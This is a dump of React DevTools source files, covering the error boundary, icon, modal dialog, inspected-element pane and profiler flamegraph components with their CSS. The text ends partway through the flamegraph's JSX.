  {
    "path": "packages/react-devtools-shared/src/devtools/views/ErrorBoundary/index.js",
    "content": "/**\n * Copyright (c) Meta Platforms, Inc. and affiliates.\n *\n * This source code is licensed under the MIT license found in the\n * LICENSE file in the root directory of this source tree.\n *\n * @flow\n */\n\nimport ErrorBoundary from './ErrorBoundary';\n\nexport default ErrorBoundary;\n"
  },
  {
    "path": "packages/react-devtools-shared/src/devtools/views/ErrorBoundary/shared.css",
    "content": ".GitHubLinkRow {\n  flex: 0 0 auto;\n  display: flex;\n  align-items: center;\n  text-overflow: ellipsis;\n  white-space: nowrap;\n  overflow: auto;\n  padding: 0.25rem 0.5rem;\n  background: var(--color-console-warning-background);\n  color: var(--color-text);\n  border-bottom: 1px solid var(--color-console-warning-border);\n  border-top: 1px solid var(--color-console-warning-border);\n}\n\n.WorkplaceGroupRow {\n  flex: 0 0 auto;\n  display: flex;\n  align-items: center;\n  text-overflow: ellipsis;\n  white-space: nowrap;\n  overflow: auto;\n  padding: 0.25rem 0.5rem;\n  background: var(--color-background-hover);\n  border-bottom: 1px solid var(--color-border);\n}\n\n.ErrorBoundary {\n  height: 100%;\n  width: 100%;\n  background-color: var(--color-background);\n  display: flex;\n  flex-direction: column;\n  border: 1px solid var(--color-border);\n}\n\n.ErrorInfo {\n  padding: 0.5rem;\n  overflow: auto;\n}\n\n.HeaderRow {\n  display: flex;\n  flex-direction: row;\n  font-size: var(--font-size-sans-large);\n  font-weight: bold;\n}\n\n.ErrorHeader,\n.TimeoutHeader {\n  flex: 1 1 auto;\n  overflow: hidden;\n  text-overflow: ellipsis;\n  white-space: nowrap;\n  min-width: 0;\n}\n\n.ErrorHeader {\n  color: var(--color-error-text);\n}\n.TimeoutHeader {\n  color: var(--color-text);\n}\n\n.ErrorStack,\n.TimeoutStack {\n  margin-top: 0.5rem;\n  white-space: pre-wrap;\n  font-family: var(--font-family-monospace);\n  font-size: var(--font-size-monospace-normal);\n  -webkit-font-smoothing: initial;\n  border-radius: 0.25rem;\n  padding: 0.5rem;\n  overflow: auto;\n}\n\n.ErrorStack {\n  background-color: var(--color-error-background);\n  border: 1px solid var(--color-error-border);\n  color: var(--color-error-text);\n}\n\n.TimeoutStack {\n  background-color: var(--color-console-warning-background);\n  color: var(--color-console-warning-text);\n  border: var(--color-console-warning-border)\n}\n\n.LoadingIcon {\n  margin-right: 0.25rem;\n}\n\n.ReportIcon {\n  margin-right: 0.25rem;\n}\n\n.ReportLink {\n  color: var(--color-link);\n}\n\n.FacebookOnly {\n  margin-left: 0.25rem;\n}\n\n.ReproSteps {\n  margin-left: 0.25rem;\n  color: var(--color-console-warning-text);\n  overflow: hidden;\n  text-overflow: ellipsis;\n  white-space: nowrap;\n  min-width: 0;\n}\n\n.UpdateExistingIssuePrompt {\n  margin-right: 0.25rem;\n  color: var(--color-console-warning-text);\n}\n\n.CloseButton {\n  font-weight: bold;\n}\n\n.CloseButtonIcon {\n  margin-left: 0.25rem;\n}\n\n.InfoBox {\n  margin-top: 0.5rem;\n  background: var(--color-console-warning-background);\n  border: 1px solid var(--color-console-warning-border);\n  padding: 0.25rem 0.5rem;\n  border-radius: 0.5rem;\n  color: var(--color-console-warning-text);\n}"
  },
  {
    "path": "packages/react-devtools-shared/src/devtools/views/Icon.css",
    "content": ".Icon {\n  width: 1rem;\n  height: 1rem;\n  fill: currentColor;\n}\n"
  },
  {
    "path": "packages/react-devtools-shared/src/devtools/views/Icon.js",
    "content": "/**\n * Copyright (c) Meta Platforms, Inc. and affiliates.\n *\n * This source code is licensed under the MIT license found in the\n * LICENSE file in the root directory of this source tree.\n *\n * @flow\n */\n\nimport * as React from 'react';\nimport styles from './Icon.css';\n\nexport type IconType =\n  | 'arrow'\n  | 'bug'\n  | 'code'\n  | 'components'\n  | 'copy'\n  | 'error'\n  | 'facebook'\n  | 'flame-chart'\n  | 'profiler'\n  | 'ranked-chart'\n  | 'timeline'\n  | 'search'\n  | 'settings'\n  | 'store-as-global-variable'\n  | 'strict-mode-non-compliant'\n  | 'suspense'\n  | 'warning';\n\ntype Props = {\n  className?: string,\n  title?: string,\n  type: IconType,\n  ...\n};\n\nexport default function Icon({\n  className = '',\n  title = '',\n  type,\n  ...props\n}: Props): React.Node {\n  let pathData = null;\n  let viewBox = '0 0 24 24';\n  switch (type) {\n    case 'arrow':\n      pathData = PATH_ARROW;\n      break;\n    case 'bug':\n      pathData = PATH_BUG;\n      break;\n    case 'code':\n      pathData = PATH_CODE;\n      break;\n    case 'components':\n      pathData = PATH_COMPONENTS;\n      break;\n    case 'copy':\n      pathData = PATH_COPY;\n      break;\n    case 'error':\n      pathData = PATH_ERROR;\n      break;\n    case 'facebook':\n      pathData = PATH_FACEBOOK;\n      break;\n    case 'flame-chart':\n      pathData = PATH_FLAME_CHART;\n      break;\n    case 'profiler':\n      pathData = PATH_PROFILER;\n      break;\n    case 'ranked-chart':\n      pathData = PATH_RANKED_CHART;\n      break;\n    case 'timeline':\n      pathData = PATH_SCHEDULING_PROFILER;\n      break;\n    case 'search':\n      pathData = PATH_SEARCH;\n      break;\n    case 'settings':\n      pathData = PATH_SETTINGS;\n      break;\n    case 'store-as-global-variable':\n      pathData = PATH_STORE_AS_GLOBAL_VARIABLE;\n      break;\n    case 'strict-mode-non-compliant':\n      pathData = PATH_STRICT_MODE_NON_COMPLIANT;\n      break;\n    case 'suspense':\n      pathData = PATH_SUSPEND;\n      viewBox = '-2 -2 28 28';\n      break;\n    case 'warning':\n      pathData = PATH_WARNING;\n      break;\n    default:\n      console.warn(`Unsupported type \"${type}\" specified for Icon`);\n      break;\n  }\n\n  return (\n    <svg\n      {...props}\n      xmlns=\"http://www.w3.org/2000/svg\"\n      className={`${styles.Icon} ${className}`}\n      width=\"24\"\n      height=\"24\"\n      viewBox={viewBox}>\n      {title && <title>{title}</title>}\n      <path d=\"M0 0h24v24H0z\" fill=\"none\" />\n      <path fill=\"currentColor\" d={pathData} />\n    </svg>\n  );\n}\n\nconst PATH_ARROW = 'M8 5v14l11-7z';\n\nconst PATH_BUG = `\n  M20 8h-2.81c-.45-.78-1.07-1.45-1.82-1.96L17 4.41 15.59 3l-2.17 2.17C12.96 5.06 12.49 5 12 5c-.49\n  0-.96.06-1.41.17L8.41 3 7 4.41l1.62 1.63C7.88 6.55 7.26 7.22 6.81 8H4v2h2.09c-.05.33-.09.66-.09\n  1v1H4v2h2v1c0 .34.04.67.09 1H4v2h2.81c1.04 1.79 2.97 3 5.19 3s4.15-1.21\n  5.19-3H20v-2h-2.09c.05-.33.09-.66.09-1v-1h2v-2h-2v-1c0-.34-.04-.67-.09-1H20V8zm-6 8h-4v-2h4v2zm0-4h-4v-2h4v2z\n`;\n\nconst PATH_CODE = `\n  M9.4 16.6L4.8 12l4.6-4.6L8 6l-6 6 6 6 1.4-1.4zm5.2 0l4.6-4.6-4.6-4.6L16 6l6 6-6 6-1.4-1.4z\n  `;\n\nconst PATH_COMPONENTS =\n  'M9.4 16.6L4.8 12l4.6-4.6L8 6l-6 6 6 6 1.4-1.4zm5.2 0l4.6-4.6-4.6-4.6L16 6l6 6-6 6-1.4-1.4z';\n\nconst PATH_COPY = `\n  M3 13h2v-2H3v2zm0 4h2v-2H3v2zm2 4v-2H3a2 2 0 0 0 2 2zM3 9h2V7H3v2zm12 12h2v-2h-2v2zm4-18H9a2 2 0 0 0-2\n  2v10a2 2 0 0 0 2 2h10c1.1 0 2-.9 2-2V5c0-1.1-.9-2-2-2zm0 12H9V5h10v10zm-8 6h2v-2h-2v2zm-4 0h2v-2H7v2z\n`;\n\nconst PATH_ERROR = `M16.971 0h-9.942l-7.029 7.029v9.941l7.029 7.03h9.941l7.03-7.029v-9.942l-7.029-7.029zm-1.402 16.945l-3.554-3.521-3.518 3.568-1.418-1.418 3.507-3.566-3.586-3.472 1.418-1.417 3.581 3.458 3.539-3.583 1.431 1.431-3.535 3.568 3.566 3.522-1.431 1.43z`;\n\nconst PATH_FACEBOOK = `\n  M22,12c0-5.52-4.48-10-10-10S2,6.48,2,12c0,4.84,3.44,8.87,8,9.8V15H8v-3h2V9.5C10,7.57,11.57,6,13.5,6H16v3h-2 c-0.55,0-1,0.45-1,1v2h3v3h-3v6.95C18.05,21.45,22,17.19,22,12z\n`;\n\nconst PATH_FLAME_CHART = `\n  M10.0650893,21.5040462 C7.14020814,20.6850349 5,18.0558698 5,14.9390244 C5,14.017627\n  5,9.81707317 7.83333333,7.37804878 C7.83333333,7.37804878 7.58333333,11.199187 10,\n  10.6300813 C11.125,10.326087 13.0062497,7.63043487 8.91666667,2.5 C14.1666667,3.06910569\n  19,9.32926829 19,14.9390244 C19,18.0558698 16.8597919,20.6850349 13.9349107,21.5040462\n  C14.454014,21.0118505 14.7765152,20.3233394 14.7765152,19.5613412 C14.7765152,17.2826087\n  12,15.0875871 12,15.0875871 C12,15.0875871 9.22348485,17.2826087 9.22348485,19.5613412\n  C9.22348485,20.3233394 9.54598603,21.0118505 10.0650893,21.5040462 Z M12.0833333,20.6514763\n  C11.3814715,20.6514763 10.8125,20.1226027 10.8125,19.4702042 C10.8125,18.6069669\n  12.0833333,16.9347829 12.0833333,16.9347829 C12.0833333,16.9347829 13.3541667,18.6069669\n  13.3541667,19.4702042 C13.3541667,20.1226027 12.7851952,20.6514763 12.0833333,20.6514763 Z\n`;\n\nconst PATH_PROFILER = 'M5 9.2h3V19H5zM10.6 5h2.8v14h-2.8zm5.6 8H19v6h-2.8z';\n\nconst PATH_SCHEDULING_PROFILER = `\n  M19 3h-1V1h-2v2H8V1H6v2H5c-1.11 0-2 .9-2 2v14c0 1.1.89 2 2 2h14c1.1 0 2-.9 2-2V5c0-1.1-.9-2-2-2zm0\n  16H5V9h14v10zm0-12H5V5h14v2zM7 11h5v5H7z\n`;\n\nconst PATH_SEARCH = `\n  M15.5 14h-.79l-.28-.27C15.41 12.59 16 11.11 16 9.5 16 5.91 13.09 3 9.5 3S3 5.91 3 9.5 5.91\n  16 9.5 16c1.61 0 3.09-.59 4.23-1.57l.27.28v.79l5 4.99L20.49 19l-4.99-5zm-6 0C7.01 14 5 11.99\n  5 9.5S7.01 5 9.5 5 14 7.01 14 9.5 11.99 14 9.5 14z\n`;\n\nconst PATH_RANKED_CHART = 'M3 5h18v3H3zM3 10.5h13v3H3zM3 16h8v3H3z';\n\nconst PATH_SETTINGS = `\n  M19.43 12.98c.04-.32.07-.64.07-.98s-.03-.66-.07-.98l2.11-1.65c.19-.15.24-.42.12-.64l-2-3.46c-.12-.22-.39-.3-.61-.22l-2.49\n  1c-.52-.4-1.08-.73-1.69-.98l-.38-2.65C14.46 2.18 14.25 2 14 2h-4c-.25 0-.46.18-.49.42l-.38\n  2.65c-.61.25-1.17.59-1.69.98l-2.49-1c-.23-.09-.49 0-.61.22l-2 3.46c-.13.22-.07.49.12.64l2.11\n  1.65c-.04.32-.07.65-.07.98s.03.66.07.98l-2.11 1.65c-.19.15-.24.42-.12.64l2 3.46c.12.22.39.3.61.22l2.49-1c.52.4\n  1.08.73 1.69.98l.38 2.65c.03.24.24.42.49.42h4c.25 0 .46-.18.49-.42l.38-2.65c.61-.25 1.17-.59 1.69-.98l2.49\n  1c.23.09.49 0 .61-.22l2-3.46c.12-.22.07-.49-.12-.64l-2.11-1.65zM12 15.5c-1.93 0-3.5-1.57-3.5-3.5s1.57-3.5\n  3.5-3.5 3.5 1.57 3.5 3.5-1.57 3.5-3.5 3.5z\n`;\n\nconst PATH_STORE_AS_GLOBAL_VARIABLE = `\n  M20 8h-2.81c-.45-.78-1.07-1.45-1.82-1.96L17 4.41 15.59 3l-2.17 2.17C12.96 5.06 12.49 5 12 5c-.49 0-.96.06-1.41.17L8.41\n  3 7 4.41l1.62 1.63C7.88 6.55 7.26 7.22 6.81 8H4v2h2.09c-.05.33-.09.66-.09 1v1H4v2h2v1c0 .34.04.67.09 1H4v2h2.81c1.04\n  1.79 2.97 3 5.19 3s4.15-1.21 5.19-3H20v-2h-2.09c.05-.33.09-.66.09-1v-1h2v-2h-2v-1c0-.34-.04-.67-.09-1H20V8zm-6\n  8h-4v-2h4v2zm0-4h-4v-2h4v2z\n`;\n\nconst PATH_STRICT_MODE_NON_COMPLIANT = `\n  M4.47 21h15.06c1.54 0 2.5-1.67 1.73-3L13.73 4.99c-.77-1.33-2.69-1.33-3.46 0L2.74 18c-.77 1.33.19 3 1.73 3zM12\n  14c-.55 0-1-.45-1-1v-2c0-.55.45-1 1-1s1 .45 1 1v2c0 .55-.45 1-1 1zm1 4h-2v-2h2v2z\n`;\n\nconst PATH_SUSPEND = `\n  M15 1H9v2h6V1zm-4 13h2V8h-2v6zm8.03-6.61l1.42-1.42c-.43-.51-.9-.99-1.41-1.41l-1.42 1.42C16.07 4.74 14.12 4 12 4c-4.97\n  0-9 4.03-9 9s4.02 9 9 9 9-4.03 9-9c0-2.12-.74-4.07-1.97-5.61zM12 20c-3.87 0-7-3.13-7-7s3.13-7 7-7 7 3.13 7 7-3.13 7-7 7z\n`;\n\nconst PATH_WARNING = `M12 1l-12 22h24l-12-22zm-1 8h2v7h-2v-7zm1 11.25c-.69 0-1.25-.56-1.25-1.25s.56-1.25 1.25-1.25 1.25.56 1.25 1.25-.56 1.25-1.25 1.25z`;\n"
  },
  {
    "path": "packages/react-devtools-shared/src/devtools/views/InspectedElement/InspectedElementPane.css",
    "content": ".InspectedElementPane, .InspectedElementPane * {\n  box-sizing: border-box;\n  -webkit-font-smoothing: var(--font-smoothing);\n}\n\n.InspectedElementPane {\n  position: relative;\n  width: 100%;\n  height: 100%;\n  display: flex;\n  flex-direction: row;\n  background-color: var(--color-background);\n  color: var(--color-text);\n  font-family: var(--font-family-sans);\n}\n"
  },
  {
    "path": "packages/react-devtools-shared/src/devtools/views/InspectedElement/InspectedElementPane.js",
    "content": "/**\n * Copyright (c) Meta Platforms, Inc. and affiliates.\n *\n * This source code is licensed under the MIT license found in the\n * LICENSE file in the root directory of this source tree.\n *\n * @flow\n */\n\nimport * as React from 'react';\nimport {useContext} from 'react';\n\nimport portaledContent from 'react-devtools-shared/src/devtools/views/portaledContent';\nimport {OptionsContext} from 'react-devtools-shared/src/devtools/views/context';\nimport InspectedElement from 'react-devtools-shared/src/devtools/views/Components/InspectedElement';\nimport SettingsModal from 'react-devtools-shared/src/devtools/views/Settings/SettingsModal';\nimport SettingsModalContextToggle from 'react-devtools-shared/src/devtools/views/Settings/SettingsModalContextToggle';\nimport {SettingsModalContextController} from 'react-devtools-shared/src/devtools/views/Settings/SettingsModalContext';\nimport styles from './InspectedElementPane.css';\n\nfunction InspectedElementPane() {\n  const {hideSettings} = useContext(OptionsContext);\n  return (\n    <SettingsModalContextController>\n      <div className={styles.InspectedElementPane}>\n        <InspectedElement\n          actionButtons={!hideSettings && <SettingsModalContextToggle />}\n          fallbackEmpty={\"Selected element wasn't rendered with React.\"}\n        />\n        <SettingsModal />\n      </div>\n    </SettingsModalContextController>\n  );\n}\nexport default (portaledContent(InspectedElementPane): component());\n"
  },
  {
    "path": "packages/react-devtools-shared/src/devtools/views/ModalDialog.css",
    "content": ".Background {\n  position: absolute;\n  width: 100%;\n  height: 100%;\n  display: flex;\n  flex-direction: row;\n  align-items: flex-start;\n  justify-content: center;\n  padding: 1rem;\n  background-color: var(--color-modal-background);\n  overflow: auto;\n}\n\n.Dialog {\n  position: relative;\n  z-index: 3;\n  margin: 0 0.25rem;\n  width: 25rem;\n  min-width: 20rem;\n  max-width: 100%;\n  display: inline-block;\n  background-color: var(--color-background);\n  box-shadow: 0 2px 4px var(--color-shadow);\n  padding: 0.5rem;\n  border: 1px solid var(--color-border);\n  border-radius: 0.25rem;\n  font-size: var(--font-size-sans-normal);\n}\n\n.Title {\n  font-size: var(--font-size-sans-large);\n  margin-bottom: 0.5rem;\n}\n\n.Buttons {\n  text-align: right;\n  margin-top: 0.5rem;\n}\n\n.Button {\n  font-size: var(--font-size-sans-large);\n}\n"
  },
  {
    "path": "packages/react-devtools-shared/src/devtools/views/ModalDialog.js",
    "content": "/**\n * Copyright (c) Meta Platforms, Inc. and affiliates.\n *\n * This source code is licensed under the MIT license found in the\n * LICENSE file in the root directory of this source tree.\n *\n * @flow\n */\n\nimport type {ReactContext} from 'shared/ReactTypes';\nimport * as React from 'react';\nimport {\n  createContext,\n  useCallback,\n  useContext,\n  useMemo,\n  useReducer,\n  useRef,\n} from 'react';\nimport Button from './Button';\nimport {useModalDismissSignal} from './hooks';\n\nimport styles from './ModalDialog.css';\n\ntype ID = any;\n\ntype DIALOG_ACTION_HIDE = {\n  type: 'HIDE',\n  id: ID,\n};\ntype DIALOG_ACTION_SHOW = {\n  type: 'SHOW',\n  canBeDismissed?: boolean,\n  content: React$Node,\n  id: ID,\n  title?: React$Node | null,\n};\n\ntype Action = DIALOG_ACTION_HIDE | DIALOG_ACTION_SHOW;\n\ntype Dispatch = (action: Action) => void;\n\ntype Dialog = {\n  canBeDismissed: boolean,\n  content: React$Node | null,\n  id: ID,\n  title: React$Node | null,\n};\n\ntype State = {\n  dialogs: Array<Dialog>,\n};\n\ntype ModalDialogContextType = {\n  ...State,\n  dispatch: Dispatch,\n};\n\nconst ModalDialogContext: ReactContext<ModalDialogContextType> =\n  createContext<ModalDialogContextType>(((null: any): ModalDialogContextType));\nModalDialogContext.displayName = 'ModalDialogContext';\n\nfunction dialogReducer(state: State, action: Action) {\n  switch (action.type) {\n    case 'HIDE':\n      return {\n        dialogs: state.dialogs.filter(dialog => dialog.id !== action.id),\n      };\n    case 'SHOW':\n      return {\n        dialogs: [\n          ...state.dialogs,\n          {\n            canBeDismissed: action.canBeDismissed !== false,\n            content: action.content,\n            id: action.id,\n            title: action.title || null,\n          } as Dialog,\n        ],\n      };\n    default:\n      throw new Error(`Invalid action \"${action.type}\"`);\n  }\n}\n\ntype Props = {\n  children: React$Node,\n};\n\nfunction ModalDialogContextController({children}: Props): React.Node {\n  const [state, dispatch] = useReducer<State, State, Action>(dialogReducer, {\n    dialogs: [],\n  });\n\n  const value = useMemo<ModalDialogContextType>(\n    () => ({\n      dialogs: state.dialogs,\n      dispatch,\n    }),\n    [state, dispatch],\n  );\n\n  return (\n    <ModalDialogContext.Provider value={value}>\n      {children}\n    </ModalDialogContext.Provider>\n  );\n}\n\nfunction ModalDialog(_: {}): React.Node {\n  const {dialogs, dispatch} = useContext(ModalDialogContext);\n\n  if (dialogs.length === 0) {\n    return null;\n  }\n\n  return (\n    <div className={styles.Background}>\n      {dialogs.map(dialog => (\n        <ModalDialogImpl\n          key={dialog.id}\n          canBeDismissed={dialog.canBeDismissed}\n          content={dialog.content}\n          dispatch={dispatch}\n          id={dialog.id}\n          title={dialog.title}\n        />\n      ))}\n    </div>\n  );\n}\n\nfunction ModalDialogImpl({\n  canBeDismissed,\n  content,\n  dispatch,\n  id,\n  title,\n}: {\n  canBeDismissed: boolean,\n  content: React$Node | null,\n  dispatch: Dispatch,\n  id: ID,\n  title: React$Node | null,\n}) {\n  const dismissModal = useCallback(() => {\n    if (canBeDismissed) {\n      dispatch({type: 'HIDE', id});\n    }\n  }, [canBeDismissed, dispatch]);\n  const dialogRef = useRef<HTMLDivElement | null>(null);\n\n  // It's important to trap click events within the dialog,\n  // so the dismiss hook will use it for click hit detection.\n  // Because multiple tabs may be showing this ModalDialog,\n  // the normal `dialog.contains(target)` check would fail on a background tab.\n  useModalDismissSignal(dialogRef, dismissModal, false);\n\n  // Clicks on the dialog should not bubble.\n  // This way we can dismiss by listening to clicks on the background.\n  const handleDialogClick = (event: any) => {\n    event.stopPropagation();\n\n    // It is important that we don't also prevent default,\n    // or clicks within the dialog (e.g. on links) won't work.\n  };\n\n  return (\n    <div ref={dialogRef} className={styles.Dialog} onClick={handleDialogClick}>\n      {title !== null && <div className={styles.Title}>{title}</div>}\n      {content}\n      {canBeDismissed && (\n        <div className={styles.Buttons}>\n          <Button\n            autoFocus={true}\n            className={styles.Button}\n            onClick={dismissModal}>\n            Okay\n          </Button>\n        </div>\n      )}\n    </div>\n  );\n}\n\nexport {ModalDialog, ModalDialogContext, ModalDialogContextController};\n"
  },
  {
    "path": "packages/react-devtools-shared/src/devtools/views/Profiler/ChartNode.css",
    "content": ".Group {\n  transition: all ease-in-out 250ms;\n}\n\n.Rect {\n  cursor: pointer;\n  stroke: var(--color-background);\n  transition: all ease-in-out 250ms;\n}\n\n.ForeignObject {\n  pointer-events: none;\n  transition: all ease-in-out 250ms;\n}\n\n.Div {\n  pointer-events: none;\n  white-space: nowrap;\n  text-overflow: ellipsis;\n  overflow: hidden;\n  font-family: var(--font-family-sans);\n  font-size: var(--font-size-sans-normal);\n  margin-left: 0.25rem;\n  margin-right: 0.25rem;\n  line-height: 1.5;\n  padding: 0 0 0;\n  font-weight: 400;\n  color: var(--color-commit-gradient-text);\n  text-align: left;\n  transition: all ease-in-out 250ms;\n}\n"
  },
  {
    "path": "packages/react-devtools-shared/src/devtools/views/Profiler/ChartNode.js",
    "content": "/**\n * Copyright (c) Meta Platforms, Inc. and affiliates.\n *\n * This source code is licensed under the MIT license found in the\n * LICENSE file in the root directory of this source tree.\n *\n * @flow\n */\n\nimport * as React from 'react';\n\nimport styles from './ChartNode.css';\nimport typeof {SyntheticMouseEvent} from 'react-dom-bindings/src/events/SyntheticEvent';\n\ntype Props = {\n  color: string,\n  height: number,\n  isDimmed?: boolean,\n  label: string,\n  onClick: (event: SyntheticMouseEvent) => mixed,\n  onDoubleClick?: (event: SyntheticMouseEvent) => mixed,\n  onMouseEnter: (event: SyntheticMouseEvent) => mixed,\n  onMouseLeave: (event: SyntheticMouseEvent) => mixed,\n  placeLabelAboveNode?: boolean,\n  textStyle?: Object,\n  width: number,\n  x: number,\n  y: number,\n};\n\nconst minWidthToDisplay = 35;\n\nexport default function ChartNode({\n  color,\n  height,\n  isDimmed = false,\n  label,\n  onClick,\n  onMouseEnter,\n  onMouseLeave,\n  onDoubleClick,\n  textStyle,\n  width,\n  x,\n  y,\n}: Props): React.Node {\n  return (\n    <g className={styles.Group} transform={`translate(${x},${y})`}>\n      <rect\n        width={width}\n        height={height}\n        fill={color}\n        onClick={onClick}\n        onMouseEnter={onMouseEnter}\n        onMouseLeave={onMouseLeave}\n        onDoubleClick={onDoubleClick}\n        className={styles.Rect}\n        style={{\n          opacity: isDimmed ? 0.5 : 1,\n        }}\n      />\n      {width >= minWidthToDisplay && (\n        <foreignObject\n          width={width}\n          height={height}\n          className={styles.ForeignObject}\n          style={{\n            paddingLeft: x < 0 ? -x : 0,\n            opacity: isDimmed ? 0.75 : 1,\n            display: width < minWidthToDisplay ? 'none' : 'block',\n          }}\n          y={0}>\n          <div className={styles.Div} style={textStyle}>\n            {label}\n          </div>\n        </foreignObject>\n      )}\n    </g>\n  );\n}\n"
  },
  {
    "path": "packages/react-devtools-shared/src/devtools/views/Profiler/ClearProfilingDataButton.js",
    "content": "/**\n * Copyright (c) Meta Platforms, Inc. and affiliates.\n *\n * This source code is licensed under the MIT license found in the\n * LICENSE file in the root directory of this source tree.\n *\n * @flow\n */\n\nimport * as React from 'react';\nimport {useContext} from 'react';\nimport {ProfilerContext} from './ProfilerContext';\nimport Button from '../Button';\nimport ButtonIcon from '../ButtonIcon';\nimport {StoreContext} from '../context';\nimport {TimelineContext} from 'react-devtools-timeline/src/TimelineContext';\n\nexport default function ClearProfilingDataButton(): React.Node {\n  const store = useContext(StoreContext);\n  const {didRecordCommits, isProfiling} = useContext(ProfilerContext);\n  const {file, setFile} = useContext(TimelineContext);\n  const {profilerStore} = store;\n\n  const doesHaveInMemoryData = didRecordCommits;\n  const doesHaveUserTimingData = file !== null;\n\n  const clear = () => {\n    if (doesHaveInMemoryData) {\n      profilerStore.clear();\n    }\n    if (doesHaveUserTimingData) {\n      setFile(null);\n    }\n  };\n\n  return (\n    <Button\n      disabled={\n        isProfiling || !(doesHaveInMemoryData || doesHaveUserTimingData)\n      }\n      onClick={clear}\n      title=\"Clear profiling data\">\n      <ButtonIcon type=\"clear\" />\n    </Button>\n  );\n}\n"
  },
  {
    "path": "packages/react-devtools-shared/src/devtools/views/Profiler/CommitFlamegraph.css",
    "content": ".Container {\n  width: 100%;\n  flex: 1;\n  padding: 0.5rem;\n}\n\n.PatternPath {\n  stroke: var(--color-commit-did-not-render-pattern);\n  stroke-width: 1;\n}\n"
  },
  {
    "path": "packages/react-devtools-shared/src/devtools/views/Profiler/CommitFlamegraph.js",
    "content": "/**\n * Copyright (c) Meta Platforms, Inc. and affiliates.\n *\n * This source code is licensed under the MIT license found in the\n * LICENSE file in the root directory of this source tree.\n *\n * @flow\n */\n\nimport * as React from 'react';\nimport {forwardRef, useCallback, useContext, useMemo, useState} from 'react';\nimport AutoSizer from 'react-virtualized-auto-sizer';\nimport {FixedSizeList} from 'react-window';\nimport {ProfilerContext} from './ProfilerContext';\nimport NoCommitData from './NoCommitData';\nimport CommitFlamegraphListItem from './CommitFlamegraphListItem';\nimport HoveredFiberInfo from './HoveredFiberInfo';\nimport {scale} from './utils';\nimport {useHighlightHostInstance} from '../hooks';\nimport {StoreContext} from '../context';\nimport {SettingsContext} from '../Settings/SettingsContext';\nimport Tooltip from './Tooltip';\n\nimport styles from './CommitFlamegraph.css';\n\nimport type {TooltipFiberData} from './HoveredFiberInfo';\nimport type {ChartData, ChartNode} from './FlamegraphChartBuilder';\nimport type {CommitTree} from './types';\n\nexport type ItemData = {\n  chartData: ChartData,\n  onElementMouseEnter: (fiberData: TooltipFiberData) => void,\n  onElementMouseLeave: () => void,\n  scaleX: (value: number, fallbackValue: number) => number,\n  selectedChartNode: ChartNode | null,\n  selectedChartNodeIndex: number,\n  selectFiber: (id: number | null, name: string | null) => void,\n  width: number,\n};\n\nexport default function CommitFlamegraphAutoSizer(_: {}): React.Node {\n  const {profilerStore} = useContext(StoreContext);\n  const {rootID, selectedCommitIndex, selectFiber} =\n    useContext(ProfilerContext);\n  const {profilingCache} = profilerStore;\n\n  const deselectCurrentFiber = useCallback(\n    (event: $FlowFixMe) => {\n      event.stopPropagation();\n      selectFiber(null, null);\n    },\n    [selectFiber],\n  );\n\n  let commitTree: CommitTree | null = null;\n  let chartData: ChartData | null = null;\n  if (selectedCommitIndex !== null) {\n    commitTree = profilingCache.getCommitTree({\n      commitIndex: selectedCommitIndex,\n      rootID: ((rootID: any): number),\n    });\n\n    chartData = profilingCache.getFlamegraphChartData({\n      commitIndex: selectedCommitIndex,\n      commitTree,\n      rootID: ((rootID: any): number),\n    });\n  }\n\n  if (commitTree != null && chartData != null && chartData.depth > 0) {\n    return (\n      <div className={styles.Container} onClick={deselectCurrentFiber}>\n        <AutoSizer>\n          {({height, width}) => (\n            // Force Flow types to avoid checking for `null` here because there's no static proof that\n            // by the time this render prop function is called, the values of the `let` variables have not changed.\n            <CommitFlamegraph\n              chartData={((chartData: any): ChartData)}\n              commitTree={((commitTree: any): CommitTree)}\n              height={height}\n              width={width}\n            />\n          )}\n        </AutoSizer>\n      </div>\n    );\n  } else {\n    return <NoCommitData />;\n  }\n}\n\ntype Props = {\n  chartData: ChartData,\n  commitTree: CommitTree,\n  height: number,\n  width: number,\n};\n\nfunction CommitFlamegraph({chartData, commitTree, height, width}: Props) {\n  const [hoveredFiberData, setHoveredFiberData] =\n    useState<TooltipFiberData | null>(null);\n  const {lineHeight} = useContext(SettingsContext);\n  const {selectFiber, selectedFiberID} = useContext(ProfilerContext);\n  const {highlightHostInstance, clearHighlightHostInstance} =\n    useHighlightHostInstance();\n\n  const selectedChartNodeIndex = useMemo<number>(() => {\n    if (selectedFiberID === null) {\n      return 0;\n    }\n    // The selected node might not be in the tree for this commit,\n    // so it's important that we have a fallback plan.\n    const depth = chartData.idToDepthMap.get(selectedFiberID);\n    return depth !== undefined ? depth - 1 : 0;\n  }, [chartData, selectedFiberID]);\n\n  const selectedChartNode = useMemo(() => {\n    if (selectedFiberID !== null) {\n      return (\n        chartData.rows[selectedChartNodeIndex].find(\n          chartNode => chartNode.id === selectedFiberID,\n        ) || null\n      );\n    }\n    return null;\n  }, [chartData, selectedFiberID, selectedChartNodeIndex]);\n\n  const handleElementMouseEnter = useCallback(\n    ({id, name}: $FlowFixMe) => {\n      highlightHostInstance(id); // Highlight last hovered element.\n      setHoveredFiberData({id, name}); // Set hovered fiber data for tooltip\n    },\n    [highlightHostInstance],\n  );\n\n  const handleElementMouseLeave = useCallback(() => {\n    clearHighlightHostInstance(); // clear highlighting of element on mouse leave\n    setHoveredFiberData(null); // clear hovered fiber data for tooltip\n  }, [clearHighlightHostInstance]);\n\n  const itemData = useMemo<ItemData>(\n    () => ({\n      chartData,\n      onElementMouseEnter: handleElementMouseEnter,\n      onElementMouseLeave: handleElementMouseLeave,\n      scaleX: scale(\n        0,\n        selectedChartNode !== null\n          ? selectedChartNode.treeBaseDuration\n          : chartData.baseDuration,\n        0,\n        width,\n      ),\n      selectedChartNode,\n      selectedChartNodeIndex,\n      selectFiber,\n      width,\n    }),\n    [\n      chartData,\n      handleElementMouseEnter,\n      handleElementMouseLeave,\n      selectedChartNode,\n      selectedChartNodeIndex,\n      selectFiber,\n      width,\n    ],\n  );\n\n  // Tooltip used to show summary of fiber info on hover\n  const tooltipLabel = useMemo(\n    () =>\n      hoveredFiberData !== null ? (\n        <HoveredFiberInfo fiberData={hoveredFiberData} />\n      ) : null,\n    [hoveredFiberData],\n  );\n\n  return (\n    <Tooltip label={tooltipLabel}>\n      <FixedSizeList\n        height={height}\n        innerElementType={InnerElementType}\n        itemCount={chartData.depth}\n        itemData={itemData}\n        itemSize={lineHeight}\n        width={width}>\n        {CommitFlamegraphListItem}\n      </FixedSizeList>\n    </Tooltip>\n  );\n}\n\nconst InnerElementType = forwardRef(({children, ...rest}, ref) => (\n  <svg 